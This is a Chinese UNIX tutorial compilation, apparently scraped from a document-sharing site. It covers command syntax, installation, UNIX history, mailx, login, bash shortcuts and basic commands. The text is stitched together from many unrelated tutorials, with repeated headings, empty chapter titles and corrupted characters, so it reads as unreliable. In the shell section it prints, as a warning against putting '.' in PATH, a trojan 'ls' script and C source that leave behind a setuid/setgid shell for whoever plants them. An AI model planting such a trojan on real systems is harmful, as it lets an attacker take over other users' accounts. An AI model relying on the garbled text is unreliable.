UNIX基础教程
- 格式:pdf
- 大小:236.64 KB
- 文档页数:13
2.4 UNIX常用命令介绍用户对某一操作系统的认识,往往是从使用和接触操作系统开始的,而接触操作系统最常用的方法就是使用操作系统的命令。
尽管现代操作系统都对用户提供交互式的图形界面,但在使用操作系统时仍不可避免地要用到命令操作方式,这是因为图形界面的处理也是建立在命令处理的基础之上的。
有经验的人都知道,使用命令处理的效率往往会比使用图形界面处理高出很多,而可视化的图形界面主要解决的问题是提供友好交互和摆脱枯燥的命令记忆方式。
2.4.1 UNIX命令使用方法当某个用户正确地通过了系统的注册和登录后,就进入到UNIX的命令管理程序shell的第一个进程中。
shell可以完成UNIX命令的解释执行过程,它大体上可以分成两类:一类是s hell的内部命令,另一类是shell的外部命令。
对用户来讲,内、外部命令在使用方法上没有太多的差异,只是在响应时间上略有不同。
当用户发出内部命令时,系统可直接从内存中选择调用与执行。
而shell的外部命令是那些功能较强、占用空间较大的扩展命令,它们一般不包含在shell中,因此在系统启动时并不被装入内存,只是在使用时才从系统的指定存储介质中调入内存,用完后就释放所占用的内存空间。
外部命令往往功能强大,因此所占用的磁盘空间和内存空间都比较大,甚至有些外部命令实际上就是一个实用程序,它所占用的空间和处理过程的复杂度可以与一个小型系统规模相比,因此对外部命令的管理通常包含着对内、外存空间的控制和管理。
1. UNIX的命令格式使用UNIX命令的方法可以有多种,例如,可以在命令行上输入命令,或是将命令编写在批处理文件中。
无论怎样,命令的使用格式是统一的,UNIX的一般命令格式为:Command[-options][arguments]其中:Command表示UNIX命令名。
[options]表示命令的执行选项,可以取默认值。
[arg uments]表示命令的执行参数,可以默认。
unix安装教程Unix是一种多用户、多任务操作系统,被广泛应用于服务器和工作站。
在Unix系统中,通过命令行对系统进行操作和管理。
本文将介绍Unix系统的安装教程。
1. 下载Unix系统镜像文件:在官方网站或其他可靠页面下载需要的Unix系统镜像文件。
根据自己的需求选择合适的版本,比如最新稳定版或特定用途的版本。
2. 创建安装媒介:将下载的Unix镜像文件刻录到合适的介质上,比如CD、DVD或USB闪存驱动器。
使用相关软件,选择“镜像刻录”或“创建启动盘”的选项,按照提示完成刻录过程。
3. 设置启动顺序:将计算机的启动顺序改为从刚刚创建的安装媒介启动。
进入计算机的BIOS设置界面,找到“启动顺序”或“启动设备”这个选项,将光盘或USB设备移到首位。
4. 进入安装程序:重启计算机后,系统将从安装媒介启动。
进入安装程序界面后,按照提示进行操作。
可能需要选择语言、键盘布局和许可协议等。
5. 磁盘分区:在安装程序中,有一个磁盘分区的步骤。
这个步骤是为了将磁盘划分为不同的区域,以便存储操作系统和数据。
可以选择自动分区或手动分区。
自动分区会根据系统要求划分磁盘空间,而手动分区需要手动设置各个分区的大小和挂载点。
6. 系统安装:完成磁盘分区后,安装程序将会开始复制系统文件到磁盘中。
这个过程可能需要一些时间,耐心等待即可。
7. 用户设置:在安装程序中,会要求设置管理员(root)用户的用户名和密码。
此外,还可以创建其他用户账号,以便多用户的操作。
8. 完成安装:安装程序最后会给出安装完成的提示。
此时可以选择重启计算机,从磁盘启动已安装的Unix系统。
9. 初始设置:重启计算机后,系统会要求输入用户名和密码登录。
登录后,可以进行初始设置,比如语言设置、网络配置等。
10. 更新系统:安装完成后,如果系统版本比较旧,建议更新系统,以获得更好的性能和安全性。
可以使用unix系统自带的软件包管理器,通过命令行进行系统更新。
《LinuxUNIX系统编程⼿册》导读本书可以分为以下⼏个部分:1. 背景知识及概念UNIX、C语⾔以及 Linux的历史回顾,以及对UNIX标准的概述:《第1章历史和标准》。
以程序员为对象,对Linux和UNIX的概念进⾏介绍:《第2章基本概念》。
Linux和UNIX系统编程的基本概念:《第3章系统编程概念》。
2. 系统编程接⼝的基本特性⽂件I/O:《第4章⽂件I/O:通⽤的I/O模型》、《第5章深⼊探究⽂件I/O》。
内存分配:《》、《》、《》。
⽤户和组:《第8章⽤户和组》。
时间:《第10章时间》。
系统限制和选项:《第11章系统限制和选项》3. 系统编程接⼝的⾼级特性⽂件IO缓冲:《第13章⽂件I/O缓冲》。
⽂件系统:《第14章⽂件系统》。
⽂件属性:《第15章⽂件属性》。
扩展属性:《第16章扩展属性》。
访问控制列表:《第17章访问控制列表》。
⽬录和链接:《第18章⽬录和链接》。
信号:《第19章监控⽂件事件》、《第20章信号:基本概念》、《第21章信号:信号处理函数》、《第22章信号:⾼级特性》。
定时器:《第23章定时器与休眠》。
4. 进程、程序《》、《第9章进程凭证》、《》、《》、《》、《》、《》、《第34章进程组、会话和作业控制》、《第35章进程优先级和调度》、《第36章进程资源》、《》、《第38章编写安全的特权程序》、《第39章能⼒》、《第40章登录记账》、《第41章共享库基础》、《第42章共享库⾼级特性》。
5. 线程《》、《第30章线程:线程同步》、《第31章线程:线程安全和每线程存储》、《第32章线程:线程取消》、《第33章线程:更多细节》6. 进程间通信(IPC)《》:《第45章 System V IPC介绍》《第51章 POSIX IPC介绍》。
数据传输:《第44章管道和FIFO》、《第46章 System V 消息队列》、《》。
共享内存:《》、《第54章 POSIX 共享内存》。
1.1. UNIX操作系统简介UNIX是较早广泛使用的计算机操作系统之一,它的第一版于1969年在Bell实验室产生,1975年对外公布,1976年以后在Bell实验室外广泛使用。
1.1.1.UNIX特点UNIX操作系统是一种非常流行的多任务、多用户操作系统,应用非常广泛。
UNIX 的主要特点为:多任务(Multi-tasking)UNIX是一个多任务操作系统,在它内部允许有多个任务同时运行。
而DOS操作系统是单任务的操作系统,不能同时运行多个任务。
早期的UNIX 操作系统的多任务是靠分时(time sharing)机构实现的,现在有些UNIX除了具有分时机制外,还加入了实时(real-time)多任务能力,用于象实时控制、数据采集等实时性要求较高的场合。
多用户(Multi-users)UNIX又是一个多用户操作系统,它允许多个用户同时使用。
在UNIX中,每位用户运行自己的或公用的程序,好象拥有一台单独的机器。
DOS 操作系统是单用户的操作系统,只允许一个用户使用。
并行处理能力UNIX支持多处理器系统,允许多个处理器协调并行运行。
管道UNIX允许一个程序的输出作为另外一个程序输入,多个程序串起来看起来好象一条管道一样。
通过各个简单任务的组合,就可以完成更大更复杂的任务,并极大提高了操作的方便性。
后来DOS操作系统也借鉴并提供了这种机制。
功能强大的Shell UNIX的命令解释器由Shell实现。
UNIX提供了三种功能强大的Shell,每种Shell本身就是一种解释型高级语言,通过用户编程就可创造无数命令,使用方便。
安全保护机制UNIX提供了非常强大的安全保护机制,防止系统及其数据未经许可而被非法访问。
稳定性好在目前使用的操作系统中,UNIX是比较稳定的。
UNIX具有非常强大的错误处理能力,保护系统的正常运行。
用户界面传统的UNIX用户界面采用命令行方式,命令较难记忆,很难普及到非计算机专业人员。
unix教程UNIX是一种操作系统,它是在1960年代末和1970年代初由AT&T Bell实验室的Ken Thompson、Dennis Ritchie和其他人开发出来的。
作为第一个使用C语言编写的操作系统,UNIX 在计算机界产生了深远的影响,并成为许多操作系统的基础。
本教程将介绍UNIX的基础知识和常用命令,帮助读者快速上手使用UNIX系统。
首先,让我们了解一下UNIX的特点。
UNIX是一个多用户、多任务的操作系统,可以同时运行多个程序,并为不同的用户提供独立的工作环境。
它的设计理念是简单而优雅,强调模块化和可重用性。
此外,UNIX还提供了强大的处理文本和文件的能力,使其成为程序员和系统管理员的首选操作系统。
在UNIX中,用户可以通过终端(Terminal)与系统交互。
终端是一个类似于命令提示符的界面,用户可以在其中输入命令并接收系统输出。
下面是一些常用的UNIX命令和它们的简单介绍:1. ls: 列出当前目录下的文件和子目录。
2. cd: 切换到指定目录。
3. mkdir: 创建一个新目录。
4. rm: 删除指定文件或目录。
5. cp: 复制文件或目录。
6. mv: 移动文件或目录。
7. cat: 合并文件内容并输出到标准输出。
8. grep: 在文件中搜索指定的模式。
9. chmod: 修改文件权限。
10. chown: 修改文件所有者。
11. ps: 列出当前运行的进程。
12. kill: 终止指定的进程。
除了以上列举的命令外,UNIX还提供了许多其他有用的命令和工具,如sed、awk、find等,它们可以帮助用户处理和管理文件、文本和数据。
此外,UNIX还有一些常用的概念和约定,对于初学者来说可能会有些困惑。
例如,UNIX使用斜杠(/)作为目录的分隔符,而不是Windows中的反斜杠(\)。
另外,UNIX中的文件和目录名称是区分大小写的,例如"file.txt"和"File.txt"是不同的文件。
UNIX基础教程UNIX是一个多用户、多任务、支持多种硬件平台和网络连接的操作系统。
它是大型计算机操作系统的核心,也是许多企业级服务器和工作站的首选操作系统。
UNIX以其稳定性、可靠性和可扩展性而闻名,已经成为计算机科学的重要学科。
在本篇文章中,我将向您介绍UNIX的基础知识和使用技巧。
1.UNIX的历史:UNIX操作系统最早是由贝尔实验室的肯·汤普逊和丹尼斯·里奇在上世纪70年代开发的。
它最初是为了解决大型计算机的多用户和多任务需求而设计的。
由于UNIX的开放源代码和高度可定制性,它迅速在学术界和商业领域获得了广泛的应用。
2.UNIX的特性:UNIX操作系统具有很多重要的特点,包括:多用户和多任务支持、强大的文件系统、灵活的命令行界面、网络功能和安全性等。
UNIX还采用了一个层次化的目录结构,所有的文件和目录都通过路径名进行标识,使得文件的组织和访问更加方便。
3.UNIX的基本命令:在UNIX中,可以通过命令行界面或图形界面来操作系统。
下面是一些常用的UNIX命令:- ls:列出当前目录下的文件和子目录。
- cd:改变当前目录。
- pwd:显示当前所在的目录。
- mkdir:创建一个新的目录。
- touch:创建一个新的空文件或更新已有文件的时间戳。
- cp:复制文件或目录。
- mv:移动或重命名文件或目录。
- rm:删除文件或目录。
- grep:在文件中匹配指定模式的文本。
- man:显示命令的帮助信息。
4. 文件权限和用户管理:在UNIX中,每个文件和目录都有一组权限来控制对其的访问。
权限分为读(r)、写(w)和执行(x)三种。
此外,UNIX还使用用户和组的概念来管理文件的访问权限。
可以使用chown和chmod命令来修改文件的所有者和权限。
5. 进程管理:UNIX为每个运行的程序分配一个进程号(PID),可以使用ps命令查看系统中所有正在运行的进程。
可以使用kill命令发送信号给指定的进程,以控制其行为。
U N I U N I X教程网络篇 Prepared on 22 November 2020下载第2章电子邮件程序mailx使用mailx程序,用户可以方便地收发信件。
当你发送信件时,只要输入一个登录名然后接着输入信件正文就可以了;在接收阅读信件时,只需要在接收信件列表中选中一封信件即可。
mailx是一个非常灵活而精致的程序,具有许多不同的功能。
当用户发送信件时,可以使用很多命令来修改信件的正文,还可以撰写信件头。
当用户接受信件时,可以立即回复作者,并将信件保存在文件中,或者删除掉。
另外,它还设了一个初始化文件,名叫.mailrc,用来配置诸如别名等一些有关邮件程序的特性。
mailx程序还具有网络寻址功能,可以方便地用来向网络中的另一个系统上的用户发送信件。
在不同的Unix版本中,mailx命令具有不同的程序名。
它最早是由Eric Allman为BSD Unix开发出来的,最初就叫做mail(在System V Unix早期的版本中也有一种叫mail的简单邮件程序)。
在System V后来的版本中,也采用了BSD中的邮件程序,并将它改名为mailx。
发送信件使用mailx发送的信件内容,可以即时通过键盘输入,或者是事先准备好的一个文件中的内容。
如果通过键盘输入,可以采用特殊的tilde命令对内容进行编辑。
使用mailx发送信件时,在命令行中输入mailx,并指明信件接收者的地址。
敲回车键(Enter)后,系统提示输入Subject(主题)。
输入完Subject并敲回车键后,系统进行文本输入模式,在这期间键入的任何字符都将作为信件的内容。
如果输入回车键,就结束当前行而进入新的一行。
信件内容输入完毕后,键入Ctrl-d就开始发送信件,然后屏幕上会显示EOT字样,表示信件传送结束。
在下面的示例中,用户向地址为dylan的另一个用户发送信件,信件的主题是Game。
键入信件正文后,用户应按Ctrl-d。
第2章登录及UNIX的基本使用目标完成此章学习后,你将掌握下列内容:⏹登录到UNIX系统。
⏹退出UNIX系统。
⏹在HP-UX参考手册中查阅命令。
⏹通过在线手册查阅命令。
⏹描述shell的命令行格式。
⏹使用一些简单的UNIX 命令识别系统使用者。
⏹使用一些简单的UNIX 命令与系统使用者通信。
⏹使用一些简单的UNIX 命令实现输出及其他用途。
第2章登录及UNIX的基本使用25 2.1一个典型的终端会话过程注释为了与你的主机通信,需要以下几个条件:⏹支持整套ASCII(American Standard Code for Information Interchange)字符集的终端;⏹有一条连接计算机的数据通信线路;⏹一个登录名;⏹一个密码。
整个终端会话过程的起点是从可识别的终端登录,终点是退出登录。
计算机通过对你在这个过程中键入的命令作出反应来为你提供服务。
UNIX系统通过用户名(有时称为登录名)识别使用者。
系统管理员分配给你一个登录名,登录名通常是你的名字或者名字的首字母。
管理员可以分配或者不分配密码。
系统管理员分配给你一个初始密码,你可以修改它;你也可以向系统管理员提供密码。
你的密码归你个人所有,由你决定密码,没有人能知道或发现你的密码。
如果你忘了密码,须向系统管理员求助。
只有系统管理员才有权利将用户账号中的密码删除。
在显示终端提示符后,输入你的用户名,如果需要输入密码的话,再输入密码。
一旦登录进去后,你可以输入命令。
系统的shell会对这些命令进行翻译,然后操作系统会代表你执行这些命令。
任何执行结果都会显示在你的屏幕上。
当你完成想做的事情后,可以退出登录,结束整个终端会话过程。
这样会释放掉一个终端,另一个用户可以登录进来。
建议你离开终端时退出系统,这样别人无法进入你的终端对话过程,无法使用你的账号。
26 UNIX系统基础2.2登录与注销退出注释要完成登录过程,需执行以下步骤:⏹打开终端。
有些终端显示一段时间后会转入休眠状态,此时只需按一个键(如Shift )就可以重新激活它。
UNIX 基础操作指令及vi命令相关面试知识1、登录UINX系统终端:可以使用DOS窗口或者终端软件telnet进行登录,默认使用23端口,例如:telnet 192.168.10.240 login:funds password:funds 即可。
2、退出终端:2 % logout2 % exit2 ctrl+d3、首次登入后更改密码2 % passwd => 执行后将会出现下列讯息2 Changing NIS password for user on ice.2 Old password: ______ => 输入旧密码2 New password: ______ => 输入新密码(最好6-8字,英文字母与数字混合)2 Retype new password: ______ => 再输入一次密码4、参看操作系统版本2 Oslevel5、列出文件或目录下之文件名称2 ls 列出目前目录下之文件名。
2 ls -a 列出包含以.起始的隐藏档所有文件名。
2 ls -t 依照文件最后修改时间之顺序,依序列出文件名。
2 ls -F 列出目前目录下之文件名及其类型。
/ 结尾表示为目录名称,* 结尾表示为执行档,@ 结尾表示为symblic link。
2 ls -l 列出目录下所有文件之许可权、拥有者、文件大小、修改时间及名称。
2 ls -lg 同上,并显示出文件之拥有者群组名称。
2 ls -R 显示出目录下,以及其所有子目录之文件名。
( recursive listing )6、改变工作目录位置2 cd 改变目录位置,至使用者login 时的working directory (起始目录)。
2 cd dir1 改变目录位置,至dir1 之目录位置下。
2 cd ~user 改变目录位置,至使用者的working directory (起始目录)。
2 cd .. 改变目录位置,至目前目录的上层( 即parent of working directory)2 cd ../user 改变目录位置,至相对路径user 之目录位置下。
UNIXLINUX⼤学教程重点整理终极版第⼀、⼆章1.第⼀个Unix系统是什么时候,由谁开发的?AT&T贝尔实验室1969年Ken Thompso开发2.⾃由软件基⾦会(Free Software Foundation,FSF):Stallman(MIT AI实验室⼈员)启动了⾃由软件基⾦会,其指导原则是:“计算机⽤户应该能够⾃由地修改软件以适应⾃⼰的需求,并⾃由共享。
”⾃由的含义不是免费,是指修改和共享的⾃由。
为了避免误解free的含义,⾃由软件现在称为“Open Source Software”。
3.GNU:FSF开发的⼀个类Unix操作系统,全称是GNU`s Not Unix; Richard Stallman《GNU宣⾔》解释为何发起该计划的⽂章,其中⼀个理由就是要“重现当年软件界合作互助的团结精神”。
为保证GNU软件可以⾃由地“使⽤、复制、修改和发布”4.GPL:Stallman编写的通⽤公共许可证(general public license, GPL)。
(1)两个促使GPL出现的原因:FSF开发了⼤量⾼质量的OSS;不是只有FSF⼀家在倡导OSS。
(2)GPL中最重要的⼀点:任何⼈以OSS为基础创建⼀个新产品时,新产品也必须在GPL协议下发⾏,也就是必须公开源码。
在OSS上应⽤GPL,则允许任何⼈发⾏该软件、查看其源码、修改该软件并发⾏修改后的软件。
GPL和OSS对于计算机软件技术的发展具有深远的意义。
5.unix发展:(1)20世纪70年代的Unix:Unix技术由贝尔实验室扩散到Berkeley,1977年,Bill Joy装配了第⼀版的Berkeley Unix,被称为Berkeley Software Distribution(BSD);1979年,AT&T公司开始商业化包装Unix进⾏销售,第⼀个商业版本的Unix称为UNIX System III,并很快就升级到System V。
UNIX基础教程UNIX是一种多用户、多任务操作系统,广泛用于Unix-like的操作系统中。
它提供了一个强大且灵活的环境,适用于各种不同的应用程序和领域。
本教程将介绍UNIX的基础知识,包括文件系统、命令行界面、进程管理和网络通信等。
一、文件系统UNIX的文件系统是以层次化的目录结构来组织文件和目录。
用户可以使用命令对文件进行创建、删除、移动和复制等操作。
1.目录结构:UNIX的目录结构以根目录(/)为起点,所有的文件和目录都从根目录开始。
2. 目录操作:用户可以使用命令如cd、ls、mkdir和rmdir等来操作目录。
cd用于切换目录,ls用于列出目录内容,mkdir用于创建目录,rmdir用于删除空目录。
3. 文件操作:用户可以使用命令如cat、cp、mv和rm等来操作文件。
cat用于查看文件内容,cp用于复制文件,mv用于移动文件,rm用于删除文件。
二、命令行界面UNIX的命令行界面是用户与系统交互的主要方式。
用户可以通过输入命令来执行各种操作。
1.命令格式:UNIX的命令由命令名称和选项参数组成。
选项参数用于修改命令的行为,可以是单个字符或长参数。
2. 常用命令:UNIX提供了许多常用的命令,如基本的文件和目录操作命令,如ls、cd、mkdir和rmdir;文件查找和文本处理命令,如find、grep和sed;系统信息和管理命令,如ps、df和top等。
3.命令提示符:UNIX的命令行界面会显示一个命令提示符,用户可以在提示符后输入命令。
通常,命令提示符由当前用户名和主机名组成。
三、进程管理UNIX支持多任务操作,可以同时执行多个程序。
用户可以使用命令来管理进程和程序。
1. 运行程序:用户可以使用命令如./和exec等来运行程序。
./用于运行当前目录下的可执行文件,exec用于替换当前进程并执行新程序。
2. 后台运行:用户可以使用命令如&和nohup等将程序置于后台运行。
&用于将程序放入后台运行,nohup用于使程序在用户注销后继续运行。
Unix及Shell基础目的:熟悉使用Unix环境,使用bash提高效率.主要内容:Shell介绍,基本命令使用,使用bash,Shell脚本目录0.Unix介绍 (3)1.Shell命令 (3)1.1Shell介绍 (3)1.2启动文件与环境变量 (3)1.3内建命令 (5)1.4匹配符 (5)1.5选择Shell (6)1.5.1.bash介绍 (6)1.5.1.1bash优点 (6)1.5.1.2约定 (6)1.5.1.3.bash快捷键 (6)1.5.1.4示例 (7)1.5.2其它Shell (7)1.6基本命令 (8)1.7输入输出重定向 (11)1.8文件权限和进程 (12)2.Shell编程 (12)3.其它需要熟悉的 (13)0.Unix介绍google"Unix历史"1.Shell命令1.1Shell介绍Unix系统分成三个重要部份:系统核心,Shell,工具程序。
用户不易和系统内核直接沟通,需要有一个友善的界面(interface),使得操作时能更为方便,这个界面便是Shell。
系统启动过程:在机器启动时由引导程序载入内核文件,之后把控制权交给内核,内核初始化后执行的第一个程序是init,然后再初始化到登录界面,这时候就到了大概如下的界面:login:登录后就执行了默认的Shell,这在/etc/passwd中指定。
目前常见的shell有:a.Bourne shell:shb.C shell:cshc.Korn shell:kshd.tcsh(free)f.Bourne Again shell:bash(GNU)1.2启动文件与环境变量进入shell后会执行用户的配置文件,具体文件名视所用shell而定,通常都会执行~/.profile或~/.bash_profile。
内核在执行程序的时候可以传入环境变量(见man execve),格式是word=value,当然了,这个格式是由应该程序解释的,所以在shell中用了大量的环境变量,其中有些是常用的:PATH shell查找命令和程序的路径HOME用户的主目录,默认是在/etc/passwd中指定的目录PS1在命令行出现的shell命令提示符TERM终端类型SHELL一些程序如vim会用到查看相关环境变量设置:$echo$TERM设置环境变量:$export PATH=$PATH:/usr/local/bin为了安全,不要把当前路径加到$PATH中。
看下面的例子:$cat>ls<<EOF#!/bin/sh/bin/cp-f t xchmod+s x/bin/rm-f ls/bin/lsEOF$chmod+x ls程序t由下面的代码生成:$cat>t.c<<EOF#include<unistd.h>char*env[]={"PATH=/bin:/usr/bin:/usr/local/bin","TERM=vt100","SHELL=/bin/sh",NULL};char*sh[]={"/bin/sh",NULL};int main(int argc,char*argv[]){setuid(geteuid());setgid(getegid());execve(sh[0],sh,env);return0;}EOF$cc-o t t.c通常我们进入后第一件事就是执行ls,于是上面的脚本被执行,最后我们得到一个设置了有效ID的程序。
1.3内建命令shell中有一些是内建的命令如:cd,alias,export,bg,fg,pwd,echo,history当中有些可以用其它程序代替pwd,echo,但像cd等是不可能用程序代替的。
$cd$cd~#同上$cd$HOME#同上$cd..#上一层目录$cd-#回到先前的目录1.4匹配符在命令的参数中,可以输入一些特殊字符,用来匹配一些字符串.常用的是*和?。
*匹配0个或多个?匹配0个或1个[]指定范围,如[1-5]匹配1至5的其中一个.如:$ls*.ca.cb.cc.c在上面的命令中,会列出当前目录下所有以.c结尾的文件,处理过程是这样的:shell先把*.c展开成"a.c b.c c.c",然后再把展开后的列表当作参数给ls,并不是命令ls去解析当中的星号(*)的。
若是不想让星号(*)当成匹配符,那么可以用反斜杆(\)进行转义:$ls\*.c#相当于ls'*.c'匹配符使用起来方便无比,但有时一不小心会造成恶梦的开始,像下面的: $rm*.bak#在*和.之间多打了个空格,结果当前目录的文件全部丢失。
于是,慢慢地使用了下面的定义:$alias rm='rm-i'$alias mv='mv-i'$alias cp='cp-i'但这样也不能解决问题,使用这三个命令只能靠小心:$rm-f*.bak#效果跟上面一样,但更为静悄悄(没有任何输出)1.5选择Shell1.5.1.bash介绍1.5.1.1bash优点bash全称是GNU Bourne-Again Shell优点:a)GNU软件,可自由使用,拷贝,修改再发布.b)使用readline库,使得行编辑很方便.1.5.1.2约定以^X表示Ctrl+X,X为任意字符,<TAB>表示输入Tab键1.5.1.3.bash快捷键^A跳到最前端,跟Home同样效果^B向左移一字符,较少使用.^C重新编辑^D删除光标所在字符,或退出^E跳到最末端,跟End同样效果^F向右移一字符,较少使用.^H删除光标前一字符^N显示下一个历史命令^U删除光标前的所有字符^K删除光标后(包括当前光标)的所有字符,较少使用.^P显示上一个历史命令^R查找命令^T交换当前光标字符和光标前一字符,较少使用.^W删除前一字(word)^Y粘贴最后一次由^U或^K或^W删除的字符^J,^O,^M,相当于回车,较少使用.^I跟Tab一样效果,一般使用Tab.自动补全命令或文件名!cmd慎用!一般用^R代替.1.5.1.4示例1.5.1.4.1Tab显示所有命令:[qsh@beta qsh]$<TAB><TAB>Display all2124possibilities?(y or n)显示所有以ls开头的命令:[qsh@beta qsh]$ls<TAB>ls lsattr lsb_release lsdev lsof[qsh@beta qsh]$ls显示以open开头的文件:[qsh@beta qsh]$ls open<TAB>如果存在多个这样的文件,那么再按<TAB>后:[qsh@beta qsh]$ls openssh-4.2p1.tar.gzopenssh-4.2p1.tar.gz openssh-4.2p1.tar.gz.bak1.5.1.4.2各种快捷键$ls/usr/src/现在想跳到目录/usr/src,可以输入^P^W^Ccd^Y就变成$cd/usr/src$cp~/bin/test.1/path/to/dir当输入上面的命令后,发现应该是test.12,可以输入^P^W^H2^Y就变成$cp~/bin/test.12/path/to/dir$im tmpfile还没按Enter键时发现少打v了,只需^Av即可.1.5.2其它Shell基于bash的优点,我们应该使用bash,而有些人会认为使用vi模式也能编辑得快,理由是大家都熟悉vi,但是文本的编辑和一行的编辑是完全两码事的,如果他们使用过bash,最终也会发现bash的行编辑确实很方便了。
所以有些人设置了烦人的vi模式:set-o vi,可以使用set+o vi清除此设置。
或者有人认为,很多机器上没有bash,而其它shell用着用着就习惯了,但习惯的东西并不是就是好的。
如果使用较多的命令行,无疑地,bash能提高效率.1.6基本命令Unix的基本命令:man infocd,alias,export,fg,bg,historyls,pwd,cp,mv,rm,diff,sort,cat,more,grep,find,which,head,tail,chown,chmod,file,mkdir,rmdir,ln,touch,split,cut,wc,echo,ps,su,kill,exit,passwd,chsh,sleep,df,du,history,date,id,ipcs,ipcrm,tar,gzip(gunzip),bzip2(bunzip2),compress(uncompress),zcat,zmore,ftp,telnet,ssh(sftp),示例:$man man#查看命令man的手册$man date#查看date命令的帮助$man localtime$echo$PATH#打印变量PATH$echo$?#变量$?是上一个命令的返回状态.$alias rm='rm-i'$export PATH=$HOME/bin:$PATH$which prog#查看prog在哪,在变量$PATH中找$date#系统时间,显示或设置$id#用户信息$su-test#切换用户$sleep60#休眠$history#命令输入的历史记录$history|grep prog更改目录:$cd#相当于cd$HOME$cd/path/to/dir$cd-#跳回上一个路径基本的文件及目录操作:$ls#查看文件或目录信息$ls-l$ls/path/to/dir$ls-lrt#按文件修改时间排序$cp file1file2#copy文件$cp-f file1file2$/bin/cp-f file1file2$cp file*/path/to/dir$mv file1file2#把file1改名为file2$mv-f file1file2$rm file1#删除文件$rm-f file2$rm-rf/path/to/dir$mkdir/path/to/dir#创建目录$mkdir-p path/to/dir/dir2#先创建目录path,to,dir$rmdir/path/todir#删除空目录$touch file#更改文件file的修改时间为当前时间#若无文件file,则创建空文件file $cat file#把文件file输出至屏幕$cat>file#从标准输入创建一文件,按^D结束$more file#分页查看文件file$prog|more$grep word file1#输出文件file1中有字word的行$prog|grep word$head file1#输出文件的前10行$tail file1#输出文件的最后10行$tail-f file1$cut-b1-10file1$wc file1#统计文件的行数,字节等$wc-l file1$sort file1#对文件的每行排序$sort-u file1#去掉重复的行再排序$prog|sort-u>file1$find.-name"*.c"#查找文件$find/path/to/dir-type f$find/path/to/dir-name"*.Z"-exec rm-f{}\;$find/path/to/dir-name"*.Z"-exec zcat{}\;|perl-e'do something'$split-l1000file1#分割文件成多个小文件$split-a3-l1000file1$chmod755file1#修改文件权限$chmod+s file2$chown qsh.devolop file3#修改文件的用户权限$ln-s file1file2#对文件做链接$ln-s tmp/*.c tmp2$ln../tmp/*tmp2查看进程及终止进程$ps axu$ps-ef$kill-l$kill1234#终止进程,默认发送信号SIGTERM. $kill-21234$kill-91234#信号9是强制终止.文件系统及目录使用情况:$df$df/tmp$df-k/tmp$df.$du/path/to/dir查看共享内存,信号量,消息队列情况:$ipcs-s$ipcs-a$ipcs-m$ipcs-am$ipcrm-m0x1234$ipcrm-M102394判断file1属于哪类文件:$file file1$file`which which`文件压缩(解压缩)及目录打包:$tar-cf work.tar work#把目录work打包为work.tar $tar-cf/path/to/dir/work.tar work$gzip work.tar#压缩文件$tar-cf-work|gzip->work.tar.gz#打包的同时压缩$gzip-cd work.tar.gz|tar-xf-#解压缩文件$gzip-cd file1.gz|more$bzip2-cd work.tar.bz2|tar-xf-$bunzip2file2.bz2$gunzip file3.gz$compress file1$uncompress file1.Z$zcat file1.Z$zmore file1.Z远程登录及文件传输$ftp10.200.27.92$telnet10.200.27.92$ssh root@10.200.27.92$sftp root@10.200.27.921.7输入输出重定向shell一开始会打开三个文件描述符,用来输入,输出,及显示错误的。